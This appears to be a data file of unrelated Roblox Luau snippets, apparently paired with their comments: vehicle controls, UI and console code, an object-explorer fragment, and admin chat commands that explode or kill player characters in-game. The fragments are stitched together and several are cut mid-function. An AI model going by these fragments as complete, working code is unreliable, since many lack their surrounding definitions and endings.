bin.Blade.Green.Enabled=false colorbin.green.Value = false
bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false
bin.Blade.Orange.Enabled=false colorbin.orange.Value = false
bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false
bin.Blade.Violet.Enabled=false colorbin.violet.Value = false
bin.Blade.Red.Enabled=false colorbin.red.Value = false
bin.Blade.Silver.Enabled=false colorbin.silver.Value = false
bin.Blade.Black.Enabled=false colorbin.black.Value = false
bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false
bin.Blade.Yellow.Enabled=true colorbin.yellow.Value = true
bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false
end
|
-- EVENTS --
|
local Replicate = Remotes:WaitForChild("Replicate")
|
---Creator function return object keys
|
local KEY_BASE_FRAME = "BaseFrame"
local KEY_BASE_MESSAGE = "BaseMessage"
local KEY_UPDATE_TEXT_FUNC = "UpdateTextFunction"
local KEY_GET_HEIGHT = "GetHeightFunction"
local KEY_FADE_IN = "FadeInFunction"
local KEY_FADE_OUT = "FadeOutFunction"
local KEY_UPDATE_ANIMATION = "UpdateAnimFunction"
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players.ChildAdded:wait()
LocalPlayer = Players.LocalPlayer
end
local clientChatModules = script.Parent.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local module = {}
local methods = {}
methods.__index = methods
local testLabel = Instance.new("TextLabel")
testLabel.Selectable = false
testLabel.TextWrapped = true
testLabel.Position = UDim2.new(1, 0, 1, 0)
function WaitUntilParentedCorrectly()
while not testLabel:IsDescendantOf(LocalPlayer) do
testLabel.AncestryChanged:wait()
end
end
local TextSizeCache = {}
function methods:GetStringTextBounds(text, font, textSize, sizeBounds)
WaitUntilParentedCorrectly()
sizeBounds = sizeBounds or false
if not TextSizeCache[text] then
TextSizeCache[text] = {}
end
if not TextSizeCache[text][font] then
TextSizeCache[text][font] = {}
end
if not TextSizeCache[text][font][sizeBounds] then
TextSizeCache[text][font][sizeBounds] = {}
end
if not TextSizeCache[text][font][sizeBounds][textSize] then
testLabel.Text = text
testLabel.Font = font
testLabel.TextSize = textSize
if sizeBounds then
testLabel.TextWrapped = true;
testLabel.Size = sizeBounds
else
testLabel.TextWrapped = false;
end
TextSizeCache[text][font][sizeBounds][textSize] = testLabel.TextBounds
end
return TextSizeCache[text][font][sizeBounds][textSize]
end
|
-- // Variables
|
local bloodPart = script:WaitForChild("BloodPart")
local bloodParticles = script:WaitForChild("BloodParticles")
local bloodCache = workspace:FindFirstChild("BloodCache")
|
--[[**
ensures all keys in given table pass check
@param check The function to use to check the keys
@returns A function that will return true iff the condition is passed
**--]]
|
function t.keys(check)
assert(t.callback(check))
return function(value)
local tableSuccess = t.table(value)
if tableSuccess == false then
return false
end
for key in pairs(value) do
local success = check(key)
if success == false then
return false
end
end
return true
end
end
|
-- When the weapon is deactivated
|
function weaponTemplate:OnDeactivate()
end
function weaponTemplate:OnStartFiring()
end
function weaponTemplate:OnStopFiring()
end
function weaponTemplate:OnFire()
end
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Apple
|
--[[
UseLocalCharacters will override the fetching for the costumes that
are displayed in the "Characters" tab. For the regular avatar editor
this should be false to normally fetch a users costumes.
]]
|
return not UseRegularAvatarEditor
|
--// F key, Horn
|
uis.InputEnded:connect(function(input)
if input.KeyCode==Enum.KeyCode.ButtonL3 or input.KeyCode==Enum.KeyCode.F then
script.Parent.Parent.Horn.TextTransparency = 0.8
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
script.Parent.Parent.MBOV.Visible = true
script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
end
end)
|
-- Listen for player's character events and create/destroy an associated OrientableBody
|
local function onPlayerEntered(player: Player)
if player.Character then
onCharacterAdded(player, player.Character)
end
characterAddedConnections[player] = player.CharacterAdded:Connect(function(character)
onCharacterAdded(player, character)
end)
characterRemovingConnections[player] = player.CharacterRemoving:Connect(function()
if orientableBodies[player] then
orientableBodies[player]:destroy()
orientableBodies[player] = nil
end
end)
end
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name
--// Be sure to update the console gui's code if you change stuff
|
return function(data, env)
if env then
setfenv(1, env)
end
if not data.Question then return end
local gTable = data.gTable
local baseClip = script.Parent.Parent.BaseClip
local duration = data.Duration or data.Timeout
local toReturn
local confirmationTemplate = baseClip.Frame
local confirmationClone = confirmationTemplate
confirmationClone.Parent = baseClip
confirmationClone.Position = UDim2.new(0.5,-210,0,-confirmationClone.Size.Y.Offset)
confirmationClone.Visible = true
local Body = confirmationClone:WaitForChild('Body')
local Options = Body:WaitForChild('Options')
local Confirm,Cancel = Options:WaitForChild('Confirm'),Options:WaitForChild('Cancel')
local commandText = Body:WaitForChild('Command')
local title = confirmationTemplate.Top.Title
commandText.Text = data.Subtitle or " "
Body.Ques.Text = data.Question or "Unknown"
title.Text = data.Title or "Yes/No Prompt"
Body.Options.Cancel.Text = data.No or "No"
Body.Options.Confirm.Text = data.Yes or "Yes"
gTable:Ready()
gTable.CustomDestroy = function()
gTable.CustomDestroy = nil
gTable.ClearEvents()
if toReturn == nil then toReturn = data.No or "No" end
pcall(function()
confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
confirmationClone:Destroy()
end
end)
wait(0.3)
end)
gTable:Destroy()
end
confirmationClone:TweenPosition(UDim2.new(0.5,-210,0.5,-70),"Out",'Quint',0.3,true)
local Confirming; Confirming = gTable.BindEvent(Confirm.MouseButton1Click, function()
Confirming:Disconnect()
confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
confirmationClone:Destroy()
end
end)
toReturn = data.Yes or "Yes"
wait(0.3)
gTable:Destroy()
end)
local Cancelling; Cancelling = gTable.BindEvent(Cancel.MouseButton1Click, function()
Cancelling:Disconnect()
confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
confirmationClone:Destroy()
end
end)
toReturn = data.No or "No"
wait(0.3)
gTable:Destroy()
end)
local start = tick()
repeat
wait()
until toReturn ~= nil or (duration and (tick()-duration) > duration)
if toReturn == nil then toReturn = false end
return toReturn
end
|
-- This default upgrader is going to turn whatever brick touches it, into a sword, at least the mesh part.
--------------------
|
script.Parent.Upgrader.Touched:connect(function(Part)
if Part:FindFirstChild("Cash") then
Part.Cash.Value = Part.Cash.Value * 2 -- Try not to use * because if the game lags, parts may be worth millions each due to debounce
if meshUpgrade == true then
for i,v in pairs(Part:GetChildren())do
if v:IsA("SpecialMesh") then
v:remove()
end
end
local m = Instance.new("SpecialMesh",Part)
m.MeshId = meshID
m.TextureId = textureID
end
end
end)
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed codeName..gui.Name
|
return function(data, env)
if env then
setfenv(1, env)
end
local player = service.Players.LocalPlayer
local playergui = player.PlayerGui
local gui = script.Parent.Parent
local frame = gui.Frame
local text = gui.Frame.TextBox
local scroll = gui.Frame.ScrollingFrame
local players = gui.Frame.PlayerList
local entry = gui.Entry
local BindEvent = gTable.BindEvent
local opened = false
local scrolling = false
local scrollOpen = false
local debounce = false
local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"})
local splitKey = settings.SplitKey
local consoleKey = settings.ConsoleKeyCode
local batchKey = settings.BatchKey
local prefix = settings.Prefix
local commands = client.Remote.Get('FormattedCommands') or {}
local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(1, 0, 0, 140);
})
local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(1, 0, 0, 40);
})
local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {
Position = UDim2.new(0, 0, 0, 0);
})
local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {
Position = UDim2.new(0, 0, 0, -200);
})
frame.Position = UDim2.new(0,0,0,-200)
frame.Visible = false
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
if client.Variables.ConsoleOpen then
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat",true)
end
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
end
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = true end
end
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
local function close()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
scroll.ScrollingEnabled = false
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
players.Visible = false
scrollOpen = false
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat",true)
end
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
end
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = true end
consoleCloseTween:Play();
--service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
--frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
debounce = false
opened = false
end
end
local function open()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
service.StarterGui:SetCoreGuiEnabled("Chat",false)
service.StarterGui:SetCoreGuiEnabled('PlayerList',false)
scroll.ScrollingEnabled = true
players.ScrollingEnabled = true
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = false
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = false end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = false end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = false end
consoleOpenTween:Play();
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
players.Visible = false
scrollOpen = false
text.Text = ''
frame.Visible = true
frame.Position = UDim2.new(0,0,0,0)
text:CaptureFocus()
text.Text = ''
wait()
text.Text = ''
debounce = false
opened = true
end
end
text.FocusLost:Connect(function(enterPressed)
if enterPressed then
if text.Text~='' and string.len(text.Text)>1 then
client.Remote.Send('ProcessCommand',text.Text)
end
end
close()
end)
text.Changed:Connect(function(c)
if c == 'Text' and text.Text ~= '' and open then
if string.sub(text.Text, string.len(text.Text)) == " " then
if players:FindFirstChild("Entry 0") then
text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." "
elseif scroll:FindFirstChild("Entry 0") then
text.Text = string.split(scroll["Entry 0"].Text, "<")[1]
else
text.Text = text.Text..prefix
end
text.CursorPosition = string.len(text.Text) + 1
text.Text = string.gsub(text.Text, " ", "")
end
scroll:ClearAllChildren()
players:ClearAllChildren()
local nText = text.Text
if string.match(nText,".*"..batchKey.."([^']+)") then
nText = string.match(nText,".*"..batchKey.."([^']+)")
nText = string.match(nText,"^%s*(.-)%s*$")
end
local pNum = 0
local pMatch = string.match(nText,".+"..splitKey.."(.*)$")
for i,v in next,service.Players:GetPlayers() do
if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then
local new = entry:Clone()
new.Text = tostring(v)
new.Name = "Entry "..pNum
new.TextXAlignment = "Right"
new.Visible = true
new.Parent = players
new.Position = UDim2.new(0,0,0,20*pNum)
new.MouseButton1Down:Connect(function()
text.Text = text.Text..tostring(v)
text:CaptureFocus()
end)
pNum = pNum+1
end
end
players.CanvasSize = UDim2.new(0,0,0,pNum*20)
local num = 0
for i,v in next,commands do
if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then
if not scrollOpen then
scrollOpenTween:Play();
--frame.Size = UDim2.new(1,0,0,140)
scroll.Visible = true
players.Visible = true
scrollOpen = true
end
local b = entry:Clone()
b.Visible = true
b.Parent = scroll
b.Text = v
b.Name = "Entry "..num
b.Position = UDim2.new(0,0,0,20*num)
b.MouseButton1Down:Connect(function()
text.Text = b.Text
text:CaptureFocus()
end)
num = num+1
end
end
frame.Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140))
scroll.CanvasSize = UDim2.new(0,0,0,num*20)
elseif c == 'Text' and text.Text == '' and opened then
scrollCloseTween:Play();
--service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
scroll.Visible = false
players.Visible = false
scrollOpen = false
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
end
end)
service.HookEvent('ToggleConsole', function()
if opened then
close()
else
open()
end
client.Variables.ConsoleOpen = opened
end)
BindEvent(service.UserInputService.InputBegan, function(InputObject)
local textbox = service.UserInputService:GetFocusedTextBox()
if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then
service.Events.ToggleConsole:Fire()
end
end)
gTable:Ready()
end
|
-- Variables for character joints
|
local neck, shoulder, oldNeckC0, oldShoulderC0
local mobileShouldTrack = true
|
-- padding between each entry
|
local ENTRY_MARGIN = 1
local explorerPanel = script.Parent
local Input = game:GetService("UserInputService")
local HoldingCtrl = false
local HoldingShift = false
local addObject
local removeObject
local gameChildren = {}
table.insert(gameChildren, game:GetService("Workspace"))
table.insert(gameChildren, game:GetService("Players"))
table.insert(gameChildren, game:GetService("Lighting"))
pcall(function()
table.insert(gameChildren, game:GetService("MaterialService"))
end)
table.insert(gameChildren, game:GetService("ReplicatedFirst"))
table.insert(gameChildren, game:GetService("ReplicatedStorage"))
pcall(function()
table.insert(gameChildren, game:GetService("CoreGui"))
end)
table.insert(gameChildren, game:GetService("StarterGui"))
table.insert(gameChildren, game:GetService("StarterPack"))
table.insert(gameChildren, game:GetService("StarterPlayer"))
table.insert(gameChildren, game:GetService("SoundService"))
table.insert(gameChildren, game:GetService("Chat"))
table.insert(gameChildren, game:GetService("LocalizationService"))
table.insert(gameChildren, game:GetService("TestService"))
local childrenGame = {}
childrenGame[game:GetService("Workspace")] = true
childrenGame[game:GetService("Players")] = true
childrenGame[game:GetService("Lighting")] = true
pcall(function()
childrenGame[game:GetService("MaterialService")] = true
end)
childrenGame[game:GetService("ReplicatedFirst")] = true
childrenGame[game:GetService("ReplicatedStorage")] = true
pcall(function()
childrenGame[game:GetService("CoreGui")] = true
end)
childrenGame[game:GetService("StarterGui")] = true
childrenGame[game:GetService("StarterPack")] = true
childrenGame[game:GetService("StarterPlayer")] = true
childrenGame[game:GetService("SoundService")] = true
childrenGame[game:GetService("Chat")] = true
childrenGame[game:GetService("LocalizationService")] = true
childrenGame[game:GetService("TestService")] = true
local MuteHiddenItems = true
local DexOutput = Instance_new("Folder")
DexOutput.Name = "Output"
local DexOutputMain = Instance_new("ScreenGui", DexOutput)
DexOutputMain.Name = "Dex Output"
local HiddenEntries = Instance_new("Folder")
local HiddenGame = Instance_new("Folder")
HiddenEntries.Name = "HiddenEntriesParent"
local HiddenEntriesMain = Instance_new("TextButton", HiddenEntries)
Instance_new("Folder", HiddenEntriesMain)
local function NameHiddenEntries()
if MuteHiddenItems then
HiddenEntriesMain.Name = "Expand to view (" .. (#game:children() - #gameChildren) .. ") hidden items"
else
HiddenEntriesMain.Name = "Collapse to hide (" .. (#game:children() - #gameChildren) .. ") more items"
end
end
NameHiddenEntries()
local orgprint = print
local function print(...)
local Obj = Instance_new("Dialog")
Obj.Parent = DexOutputMain
Obj.Name = ""
for i,v in pairs(table.pack(...)) do
Obj.Name = Obj.Name .. tostring(v) .. " "
end
end
explorerPanel:WaitForChild("GetPrint").OnInvoke = function()
return print
end
local VerboseLoging = true
local function log(func, ...)
if VerboseLoging then
func(...)
end
end
|
-- A table that defines an instance's properties, handlers and children.
-- FUTURE: Typed Luau is not advanced enough to express this type in full
-- specificity yet, so we have to settle for some runtime type checking here.
-- In psuedo-Luau, this definition should be akin to the following:
-- export type PropertyTable<ClassName> = {
-- [ClassName::Property]: CanBeState<Property::Value>
-- [OnEventKey]: (any...) -> (),
-- [OnChangeKey]: (any) -> (),
-- [ChildrenKey]: Children
-- }
|
export type PropertyTable = {
[string | OnEventKey | OnChangeKey | ChildrenKey]: any
}
return nil
|
-- local mod=game.Workspace.Base
|
local mod=script.Parent
|
--[[ setup emote chat hook
game:GetService("Players").LocalPlayer.Chatted:connect(function(msg)
local emote = ""
if (string.sub(msg, 1, 3) == "/e ") then
emote = string.sub(msg, 4)
elseif (string.sub(msg, 1, 7) == "/emote ") then
emote = string.sub(msg, 8)
end
if (pose == "Standing" and emoteNames[emote] ~= nil) then
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
end
end)
-- emote bindable hook
if FFlagAnimateScriptEmoteHook then
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true
end
-- Return false to indicate that the emote could not be played
return false
end
end]]
| |
--//ENGINE//--
|
local Horsepower = 430 --{This is how much power your engine block makes ALONE, this does not represent to total horsepower output [IF you have a turbo/SC]}
local EngineDisplacement = 3000 --{Engine size in CC's}
local EngineType = "Diesel" --{Petrol, Diesel, Electric]
local EngineLocation = "Front" --{Front, Mid, Rear}
local ForcedInduction = "Single" --{Natural, Single, Twin, Supercharger}
local InductionPartSize = 1.5 --{0-5, 1 being small, 5 being large (Decimals accepted, e.g 2.64 turbo size, this is the size of the turbo}
local ElectronicallyLimited = false --{Electronically Limit the top speed of your vehicle}
local LimitSpeedValue = 100 --{Limits top speed of the vehicle [In MPH]}
|
--task.spawn(function()
|
while true do
task.wait()
for i, part in pairs(car:GetChildren()) do
if part.Name == "Thruster" then
UpdateThruster(part)
end
end
if car.DriveSeat.Occupant then
local ratio = car.DriveSeat.Velocity.magnitude / stats.Speed.Value
car.EngineBlock.Running.Pitch = 1 + ratio / 4
bodyPosition.MaxForce = Vector3.new()
bodyGyro.MaxTorque = Vector3.new()
else
local hit, position, normal = Raycast.new(car.Chassis.Position, car.Chassis.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value)
if hit and hit.CanCollide then
bodyPosition.MaxForce = Vector3.new(mass / 5, math.huge, mass / 5)
bodyPosition.Position = (CFrame.new(position, position + normal) * CFrame.new(0, 0, -stats.Height.Value + 0.5)).p
bodyGyro.MaxTorque = Vector3.new(math.huge, 0, math.huge)
bodyGyro.CFrame = CFrame.new(position, position + normal) * CFrame.Angles(-math.pi/2, 0, 0)
else
bodyPosition.MaxForce = Vector3.new()
bodyGyro.MaxTorque = Vector3.new()
end
end
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local mouse = game.Players.LocalPlayer:GetMouse()
local car = script.Parent.Car.Value
local horn = car.DriveSeat:WaitForChild("Horn")
local FE = workspace.FilteringEnabled
local handler = car:WaitForChild("Horn_FE")
mouse.KeyDown:connect(function(key)
if key=="h" then
if FE then
handler:FireServer()
else
horn:Play()
end
end
end)
game:GetService("UserInputService").InputBegan:connect(function(input,IsRobloxFunction)
if input.KeyCode ==Enum.KeyCode.ButtonB and input.UserInputState == Enum.UserInputState.Begin then
if FE then
handler:FireServer()
else
horn:Play()
end
end
end)
|
--Var
|
local RichTextEscapeCharacters = {
{"<"},
{">"},
{"""},
{"'"},
{"&"}
}
|
--> functions
|
script.Parent.MouseButton1Click:connect(function()
fovCamera.FieldOfView = 70
end)
|
-- << VARIABLES >>
|
local hiddenGuis = {}
local lasersActive = {}
local originalNecks = {}
local laserTweenTime = 0.7
local laserTweenInfo = TweenInfo.new(laserTweenTime)
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.BatSword
|
--Credit for the infectontouch script goes to whoever it is that made it.
|
createscript( [[
wait(1)
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
if cantouch~=0 then
if h.Parent~=script.Parent.Parent then
if h.Parent:findFirstChild("zarm")~=nil then return end
cantouch=0
local larm=h.Parent:findFirstChild("Left Arm")
local rarm=h.Parent:findFirstChild("Right Arm")
if larm~=nil then
larm:remove()
end
if rarm~=nil then
rarm:remove()
end
local zee=script.Parent.Parent:findFirstChild("zarm")
if zee~=nil then
local zlarm=zee:clone()
local zrarm=zee:clone()
if zlarm~=nil then
local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
zlarm.Parent=h.Parent
zrarm.Parent=h.Parent
zlarm:makeJoints()
zrarm:makeJoints()
zlarm.Anchored=false
zrarm.Anchored=false
wait(0.1)
h.Parent.Head.Color=zee.Color
else return end
end
wait(1)
cantouch=1
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
]],zarm)
zarm.Name = "zarm"
local zarm2 = zarm:clone()
zarm2.CFrame = torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
zarm.CFrame = torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
zarm.Parent = player[i].Character
zarm:MakeJoints()
zarm2.Parent = player[i].Character
zarm2:MakeJoints()
local head = player[i].Character:FindFirstChild("Head")
if head ~= nil then
head.Color = Color3.new(0.631373, 0.768627, 0.545098)
end end end end end end
if string.sub(msg,1,8) == "explode/" then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local ex = Instance.new("Explosion")
ex.Position = torso.Position
ex.Parent = game.Workspace
end end end end end
if string.sub(msg,1,7) == "rocket/" then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local r = Instance.new("Part")
r.Name = "Rocket"
r.Size = Vector3.new(1,8,1)
r.TopSurface = "Smooth"
r.BottomSurface = "Smooth"
local w = Instance.new("Weld")
w.Part1 = torso
w.Part0 = r
w.C0 = CFrame.new(0,0,-1)
local bt = Instance.new("BodyThrust")
bt.force = Vector3.new(0,5700,0)
bt.Parent = r
r.Parent = player[i].Character
w.Parent = torso
createscript([[
for i=1,120 do
local ex = Instance.new("Explosion")
ex.BlastRadius = 0
ex.Position = script.Parent.Position - Vector3.new(0,2,0)
ex.Parent = game.Workspace
wait(0.05)
end
local ex = Instance.new("Explosion")
ex.BlastRadius = 10
ex.Position = script.Parent.Position
ex.Parent = game.Workspace
script.Parent.BodyThrust:remove()
script.Parent.Parent.Humanoid.Health = 0
]],r)
end end end end end
if string.sub(msg,1,8) == "ambient/" then
local danumber1 = nil
local danumber2 = nil
for i = 9,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
end
|
--------------------------------------------------------------------------
|
local _WHEELTUNE = {
--[[
SS6 Presets
[Eco]
WearSpeed = 1,
TargetFriction = .7,
MinFriction = .1,
[Road]
WearSpeed = 2,
TargetFriction = .7,
MinFriction = .1,
[Sport]
WearSpeed = 3,
TargetFriction = .79,
MinFriction = .1, ]]
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 2 ,
FTargetFriction = 2 ,
FMinFriction = 1.5 ,
RWearSpeed = 2 ,
RTargetFriction = 2 ,
RMinFriction = 1.5 ,
--Tire Slip
TCSOffRatio = 1/3 ,
WheelLockRatio = 1/2 , --SS6 Default = 1/4
WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 1 , --SS6 Default = 1
RFrictionWeight = 1 , --SS6 Default = 1
FLgcyFrWeight = 10 ,
RLgcyFrWeight = 10 ,
FElasticity = .5 , --SS6 Default = .5
RElasticity = .5 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 1 , --SS6 Default = 1
RElastWeight = 1 , --SS6 Default = 1
FLgcyElWeight = 10 ,
RLgcyElWeight = 10 ,
--Wear Regen
RegenSpeed = 3.6 --SS6 Default = 3.6
}
|
-- Sends the arc sin of the look vectors y component to interpolate the spine, arms, and head of the player.
|
local function onUpdate(dt)
if Local_Player.Character then
local theta = math.asin(Current_Camera.CFrame.LookVector.y)
RE_UpdateSpine:FireServer(theta)
end
end
Local_Player.CharacterAdded:Connect(function(character)
-- If the character is destroyed then there's no need to update our spine
character.Destroying:Connect(function(character)
if renderStepHandle then
renderStepHandle:Disconnect()
renderStepHandle = nil
end
end)
renderStepHandle = RunService.RenderStepped:Connect(onUpdate)
end)
Local_Player.CharacterRemoving:Connect(function(character)
if renderStepHandle then
renderStepHandle:Disconnect()
renderStepHandle = nil
end
end)
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
end
--Output Cache
local CacheTorque = true
local HPCache = {}
local HPInc = 100
if CacheTorque then
for gear,ratio in pairs(_Tune.Ratios) do
local hpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do
local tqPlot = {}
tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)
tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)
tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)
hpPlot[rpm] = tqPlot
end
table.insert(HPCache,hpPlot)
end
end
--Powertrain
--Update RPM
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
